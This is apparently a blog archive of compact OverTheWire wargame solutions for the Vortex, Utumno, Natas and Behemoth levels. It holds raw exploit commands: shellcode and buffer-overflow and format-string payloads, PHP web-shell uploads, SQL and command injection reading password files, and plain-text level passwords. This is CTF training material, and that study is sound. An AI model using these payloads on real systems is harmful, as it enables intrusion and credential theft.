#ssh vortex4@vortex.labs.overthewire.org$file /vortex/vortex4$mkdir /tmp/v4$cd /tmp/v4$cat execve.c$gcc -m32 -o execve execve.c$cat getenvaddr.c$gcc -m32 -o getenvaddr getenvaddr.c$cat format_string.py$gdb /vortex/vortex4(gdb)set disassembly-flavor intel(gdb)disassemble main$readelf -r /vortex/vortex4$./execve /tmp/v4/getenvaddr `./format_string.py findinit 0xffffffff 0804a014 0 104 5`$./execve /tmp/v4/getenvaddr `./format_string.py findinit 0xffffdf83 0804a014 0 104 5`$./execve /vortex/vortex4 `./format_string.py findinit 0xffffdf85 0804a014 0 104 5`; echo%104 = init $./execve /vortex/vortex4 `./format_string.py exploit 0xffffdf85 0804a014 0 104 5`; echo$whoami$/bin/cat /etc/vortex_pass/vortex5
Showing posts with label overthewire. Show all posts
Showing posts with label overthewire. Show all posts
# Vortex wargame: Level 4
Labels:
getenvaddr,
overthewire,
relocation,
vortex,
wargame
# Vortex wargame: Level 3
#ssh vortex3@vortex.labs.overthewire.org36346e635854767823$file /vortex/vortex3$objdump --section=.plt --disassemble-all /vortex/vortex3 | grep -A 3 exit$readelf --sections /vortex/vortex3 | grep "\["$gdb -q /vortex/vortex3(gdb)break main(gdb)run(gdb)find 0x08048134,0x08049750,0x8049738(gdb)quit$/vortex/vortex3 `perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90"x106 . "\x22\x93\x04\x08"'`$/usr/bin/whoami$/bin/cat /etc/vortex_pass/vortex4
Labels:
overthewire,
vortex,
wargame
# Vortex wargame: Level 2
#ssh vortex2@vortex.labs.overthewire.org3233616e62545c7245$file /vortex/vortex2$vortex/vortex2 /etc/vortex_pass/vortex3$cat /tmp/ownership.\$$.tar
Labels:
overthewire,
vortex,
wargame
# Utumno wargame: Level 7
#A special thanks to Xelenonz.ssh utumno7@utumno.labs.overthewire.org746f7469717565676165utumno7@melissa$file /utumno/utumno7utumno7@melissa$export LD_POINTER_GUARD=0utumno7@melissa$/utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`^Zutumno7@melissa$jobs -lutumno7@melissa$kill -10 30392utumno7@melissa$fg^Zutumno7@melissa$kill -12 30392utumno7@melissa$fg$/usr/bin/whoami$/bin/cat /etc/utumno_pass/utumno8
Labels:
ld_pointer_guard,
overthewire,
utumno,
wargame
# Vortex wargame: Level 1
#ssh vortex1@vortex.labs.overthewire.org477123717533624633$file /vortex/vortex1$(for i in `seq 1 10`; do perl -e 'print "\x5c"x89000000'; done; perl -e 'print "\x21"'; cat) | /vortex/vortex1/usr/bin/whoami/bin/cat /etc/vortex_pass/vortex2
Labels:
overthewire,
vortex,
wargame
# Vortex wargame: Level 0
#cat v0.c#gcc -o v0 v0.c#./v0 vortex.labs.overthewire.org 5842
Labels:
overthewire,
sockets,
vortex,
wargame
# Natas wargame: Level 11 to 16
Level 11
#Level 12wget --quiet -O - --user=natas11 --password=SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6 --post-data "submit=&bgcolor=#ffffff" --keep-session-cookies --save-cookies natas11.cookie http://natas11.natas.labs.overthewire.org#cat xor_encrypt#grep natas natas11.cookie#./xor_encrypt ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw#cat set_cookie#./set_cookie qw8J#string=`./set_cookie qw8J`#sed -i "s/data\t.*%3D/data\t$string/" natas11.cookie#wget --quiet -O - --user=natas11 --password=SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6 --post-data 'submit=&bgcolor=#ffffff' --load-cookies natas11.cookie --keep-session-cookies --save-cookies natas11.cookie http://natas11.natas.labs.overthewire.org | grep natas12 | awk '{print $6}' | cut -b -32
#Level 13curl --silent --user natas12:sh7DrWKtb8xw9PIMkh8OQsgno6iZnJQu --request POST --header "Content-Type: multipart/form-data; boundary=#" --data $'--#\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n1000\r\n--#\r\nContent-Disposition: form-data; name="filename"\r\n\r\nfuckyou.php\r\n--#\r\nContent-Disposition: form-data; name="uploadedfile"; filename="fuckyou.php"\r\nContent-Type: application/x-php\r\n\r\n<?php readfile("/etc/natas_webpass/natas13");?>\r\n--#--\r\n\r\n' http://natas12.natas.labs.overthewire.org | grep upload | awk -F\" '{print $2}'#curl --silent --user natas12:sh7DrWKtb8xw9PIMkh8OQsgno6iZnJQu http://natas12.natas.labs.overthewire.org/upload/oijrt0cyhv.php
#Level 14curl --silent --user natas13:IGCXqS4x472aoHZYaidvmeoWj2GmuRYz --request POST --header "Content-Type: multipart/form-data; boundary=#" --data $'--#\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n1000\r\n--#\r\nContent-Disposition: form-data; name="filename"\r\n\r\nfuckyou.php\r\n--#\r\nContent-Disposition: form-data; name="uploadedfile"; filename="fuckyou.php"\r\nContent-Type: image/jpg\r\n\r\n'"`echo -n "ffd8ff" | xxd -p -r`"$'<?php readfile("/etc/natas_webpass/natas14");?>\r\n--#--\r\n\r\n' http://natas13.natas.labs.overthewire.org | grep upload | awk -F\" '{print $2}'#curl --silent --user natas13:IGCXqS4x472aoHZYaidvmeoWj2GmuRYz http://natas13.natas.labs.overthewire.org/upload/pmg8woiyek.php | cut -b 4-
# curl --silent --user natas14:sSkCeug1bdrYejzAaBhgwI3qJXDKqlgh --request POST --data "username=\"or true#" http://natas14.natas.labs.overthewire.org | grep natas15 | awk '{print $8}' | cut -b -32
Level 15#Level 16j=1; while [ true ]; do result=`curl --silent --user natas15:m2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV --request POST --data "username=natas16\" and length(password)=$j#" http://natas15.natas.labs.overthewire.org | grep "This user exists"` ; if [ "$result" != "" ]; then echo $j; break; fi; j=$[$j+1]; done#for i in `seq $j`; do for k in `seq 33 126`; do result=`curl --silent --user natas15:m2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV --request POST --data "username=natas16\" and ascii(substr((select password),$i,1))=$k#" http://natas15.natas.labs.overthewire.org | grep "This user exists"` ; if [ "$result" != "" ]; then echo "obase=16;ibase=10;$k" | bc -l | xxd -p -r ; break; fi; done; done; echo3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3L
#wget --quiet -O - --user=natas16 --password=3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3L --post-data 'submit=&needle=$(cat /etc/natas_webpass/natas17 > /tmp/natas17)' http://natas16.natas.labs.overthewire.org > /dev/null#wget --quiet -O - --user=natas9 --password=sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT --post-data 'submit=&needle=;cat /tmp/natas17;' http://natas9.natas.labs.overthewire.org | grep -v -e ^$ -e ^\< | tail -n 1
Labels:
natas,
overthewire,
wargame
# Natas wargame: Level 0 to 10
Level 0
# wget --quiet -O - --user=natas0 --password=natas0 http://natas0.natas.labs.overthewire.org | grep natas1 | awk '{print $6}'
Level 1# wget --quiet -O - --user=natas1 --password=9hSaVoey44Puz0fbWlHtZh5jTooLVplC http://natas1.natas.labs.overthewire.org | grep natas2 | awk '{print $6}'
Level 2#Level 3wget --quiet -O - --user=natas2 --password=aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl http://natas2.natas.labs.overthewire.org | grep files#wget --quiet -O - --user=natas2 --password=aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl http://natas2.natas.labs.overthewire.org/files#wget --quiet -O - --user=natas2 --password=aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl http://natas2.natas.labs.overthewire.org/files/users.txt | grep natas3 | awk -F\: '{print $2}'
#Level 4wget --quiet -O - --user=natas3 --password=lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb http://natas3.natas.labs.overthewire.org/robots.txt | grep Disallow#wget --quiet -O - --user=natas3 --password=lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt | grep natas4 | awk -F\: '{print $2}'
# wget --quiet -O - --user=natas4 --password=8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz --referer=http://natas5.natas.labs.overthewire.org/ http://natas4.natas.labs.overthewire.org | grep natas5 | awk '{print $8}'
Level 5#Level 6wget --quiet -O - --user=natas5 --password=V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z --keep-session-cookies --save-cookies natas5.cookie http://natas5.natas.labs.overthewire.org#sed -i 's/0$/1/' natas5.cookie#wget --quiet -O - --user=natas5 --password=V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z --keep-session-cookies --load-cookies natas5.cookie http://natas5.natas.labs.overthewire.org | grep natas6 | awk '{print $8}' | awk -F\< '{print $1}'
#Level 7wget --quiet -O - --user=natas6 --password=mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU http://natas6.natas.labs.overthewire.org/includes/secret.inc | grep secret | awk -F\" '{print $2}'#wget --quiet -O - --user=natas6 --password=mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU --post-data 'submit=&secret=FOEIUWGHFEEUHOFUOIU' http://natas6.natas.labs.overthewire.org | grep natas7 | awk '{print $8}'
#Level 8wget --quiet -O - --user=natas7 --password=XLoIufz83MjpTrtPvP9iAtgF48EWjicU http://natas7.natas.labs.overthewire.org | grep natas8#wget --quiet -O - --user=natas7 --password=XLoIufz83MjpTrtPvP9iAtgF48EWjicU http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8 | grep -v -e \< -e ^$
#Level 9wget --quiet -O - --user=natas8 --password=maabkdexUStb6JJXUqmBx7Re8M61cksn http://natas8.natas.labs.overthewire.org/index-source.html | sed -e 's/color/\n/g' | grep -m 1 DD0000 | awk -F\" '{print $3}'#echo -n "3d3d516343746d4d6d6c315669563362" | xxd -p -r | rev | base64 --decode && echo
#Level 10wget --quiet -O - --user=natas9 --password=sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT --post-data 'submit=&needle=;/usr/bin/find / | /bin/grep natas10;' http://natas9.natas.labs.overthewire.org | grep natas10#wget --quiet -O - --user=natas9 --password=sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT --post-data 'submit=&needle=;/bin/echo "#$(/bin/cat /etc/natas_webpass/natas10)#";' http://natas9.natas.labs.overthewire.org | awk -F\# '{print $2}' | grep -v ^$
# wget --quiet -O - --user=natas10 --password=s09byvi8880wqhbnonMFMW8byCojm8eA --post-data 'submit=&needle=. /etc/natas_webpass/natas11 #"' http://natas10.natas.labs.overthewire.org | grep -v -e ^\< -e ^$ | tail -n 1
Labels:
natas,
overthewire,
wargame
# Utumno wargame: Level 6
#ssh utumno6@utumno.labs.overthewire.org65696c75717569657468utumno6@melissa$file /utumno/utumno6utumno6@melissa$export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`utumno6@melissa$/tmp/u6/getenvaddr EGG /utumno/utumno6utumno6@melissa$/utumno/utumno6 `perl -e 'print "-1 ffffd6ac \x77\xd9\xff\xff" . "\xff"x60 . "\x77\xd9\xff\xff"'`$/usr/bin/whoami$/bin/cat /etc/utumno_pass/utumno7
Labels:
overthewire,
utumno,
wargame
# Utumno wargame: Level 5
#ssh utumno5@utumno.labs.overthewire.org776f756361656a69656butumno5@melissa$file /utumno/utumno5utumno5@melissa$mkdir /tmp/u5utumno5@melissa$cd !$utumno5@melissa$cat execve2.cutumno5@melissa$cat getenvaddr.cutumno5@melissa$gcc -m32 -o execve2 execve2.c && gcc -m32 -o getenvaddr getenvaddr.cutumno5@melissa$./execve2utumno5@melissa$gdb -q(gdb)#>address+shellcode(gdb)print /x 0xffffdfc9 - 0x4(gdb)#>EGG=address+shellcode(gdb)print /x 0xffffdfc9 + 0x4(gdb)#>shellcodeutumno5@melissa$cat execve.cutumno5@melissa$gcc -m32 -o execve execve.cutumno5@melissa$./execve$/usr/bin/whoami$/bin/cat /etc/utumno_pass/utumno6
Labels:
overthewire,
utumno,
wargame
# Utumno wargame: Level 4
#ssh utumno4@utumno.labs.overthewire.org6f6f6769656c656f6761utumno4@melissa$file /utumno/utumno4utumno4@melissa$/utumno/utumno4 65536 `perl -e 'print "\x90"x65250 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90"x18 . "\xdd\xdd\xfd\xff" . "\x90"x238'`$/usr/bin/whoami$/bin/cat /etc/utumno_pass/utumno5
Labels:
overthewire,
utumno,
wargame
# Utumno wargame: Level 3
#Pseudocodessh utumno3@utumno.labs.overthewire.org7a757564616669696e65utumno3@melissa$file /utumno/utumno3utumno3@melissa$export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`utumno3@melissa$(perl -e 'print "\x2c\x77\x2e\xd9\x28\xff\x26\xff" . "\n"x9' ; cat) | /utumno/utumno3/usr/bin/whoami/bin/cat /etc/utumno_pass/utumno4
a = '0' b = '0' [begin] a = getchar() if (a == EOF) | (b > 23) then exit() c = xor(a,3*b) d = $esp + 32 + c [d] = getchar() b = b + 1 jump to [begin]
Labels:
overthewire,
utumno,
wargame
# Utumno wargame: Level 2
#ssh utumno2@utumno.labs.overthewire.org63656577616365697068utumno2@melissa$file /utumno/utumno2utumno2@melissa$mkdir /tmp/u2utumno2@melissa$cd !$utumno2@melissa$cat execve.cutumno2@melissa$gcc -m32 -o execve execve.c && ./execve$/usr/bin/whoami$/bin/cat /etc/utumno_pass/utumno3
Labels:
overthewire,
utumno,
wargame
# Utumno wargame: Level 1
#ssh utumno1@utumno.labs.overthewire.org61617468616579696577utumno1@melissa$file /utumno/utumno1utumno1@melissa$mkdir /tmp/u1utumno1@melissa$cd !$utumno1@melissa$ln -s /bin/sh myshutumno1@melissa$touch `perl -e 'print "sh_\x31\xc0\x99\xb0\x0b\x52\x68\x6d\x79\x73\x68\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`utumno1@melissa$/utumno/utumno1 /tmp/u1$/usr/bin/whoami$/bin/cat /etc/utumno_pass/utumno2
Labels:
overthewire,
utumno,
wargame
# Utumno wargame: Level 0
#ssh utumno0@utumno.labs.overthewire.org7574756d6e6f30utumno0@melissa$file /utumno/utumno0utumno0@melissa$mkdir /tmp/u0utumno0@melissa$cd !$utumno0@melissa$cat hook.cutumno0@melissa$gcc -m32 -fPIC -c hook.c -o hook.o && ld -shared -m elf_i386 -o hook.so hook.o -ldlutumno0@melissa$strace -s 100 -E LD_PRELOAD=./hook.so -e trace=write /utumno/utumno0
Labels:
ld_preload,
overthewire,
utumno,
wargame
# Behemoth wargame: Level 7
#ssh behemoth7@behemoth.labs.overthewire.org626171756f787561666fbehemoth7@melissa$file /behemoth/behemoth7behemoth7@melissa$/behemoth/behemoth7 `perl -e 'print "A"x512 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\xeb\x0f" . "\x90"x11 . "\x04\xd5\xff\xff". "\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`$/usr/bin/whoami$/bin/cat /etc/behemoth_pass/behemoth8
Labels:
behemoth,
overthewire,
wargame
# Behemoth wargame: Level 6
#cat hellokitty.asm#nasm -f elf hellokitty.asm && ld -o hellokitty hellokitty.o#od2sc hellokitty#ssh behemoth6@behemoth.labs.overthewire.org6d617969726f65636865behemoth6@melissa$file /behemoth/behemoth6behemoth6@melissa$file /behemoth/behemoth6_readerbehemoth6@melissa$mkdir /tmp/b6behemoth6@melissa$cd !$behemoth6@melissa$perl -e 'print "\x31\xc0\xb0\x74\xb4\x79\x50\x68\x6f\x4b\x69\x74\x68\x48\x65\x6c\x6c\x89\xe1\x99\xb2\x0a\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\xc9\xc3"' > shellcode.txtbehemoth6@melissa$/behemoth/behemoth6$/usr/bin/whoami$/bin/cat /etc/behemoth_pass/behemoth7
Labels:
behemoth,
overthewire,
wargame
# Behemoth wargame: Level 5
#ssh behemoth5@behemoth.labs.overthewire.org61697a65657368696e67behemoth5@melissa$file /behemoth/behemoth5behemoth5@melissa$((sleep 1; /behemoth/behemoth5) & nc -4ul 1337) 2> /dev/null
Labels:
behemoth,
overthewire,
wargame
# Behemoth wargame: Level 4
#ssh behemoth4@behemoth.labs.overthewire.org69657468656973686569behemoth4@melissa$file /behemoth/behemoth4behemoth4@melissa$ln -s /etc/behemoth_pass/behemoth5 /tmp/666behemoth4@melissa$while [ true ] ; do /behemoth/behemoth4 | grep -v "PID" ; done
Labels:
behemoth,
overthewire,
wargame
# Behemoth wargame: Level 3
#ssh behemoth3@behemoth.labs.overthewire.org6e69657465696469656cbehemoth3@melissa$file /behemoth/behemoth3behemoth3@melissa$perl -e 'print "%x."x59' | /behemoth/behemoth3behemoth3@melissa$(perl -e 'print "\x5c\xd7\xff\xff" . "\x90"x4 . "\x5d\xd7\xff\xff" . "\x90"x4 . "\x5e\xd7\xff\xff" . "\x5f\xd7\xff\xff" . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "%x"x4 . "%91x" . "%n" . "%54x" . "%n" . "%41x" . "%n" . "%n"' ; cat) | /behemoth/behemoth3<ENTER>/usr/bin/whoami/bin/cat /etc/behemoth_pass/behemoth4
Labels:
behemoth,
overthewire,
wargame
Subscribe to:
Posts (Atom)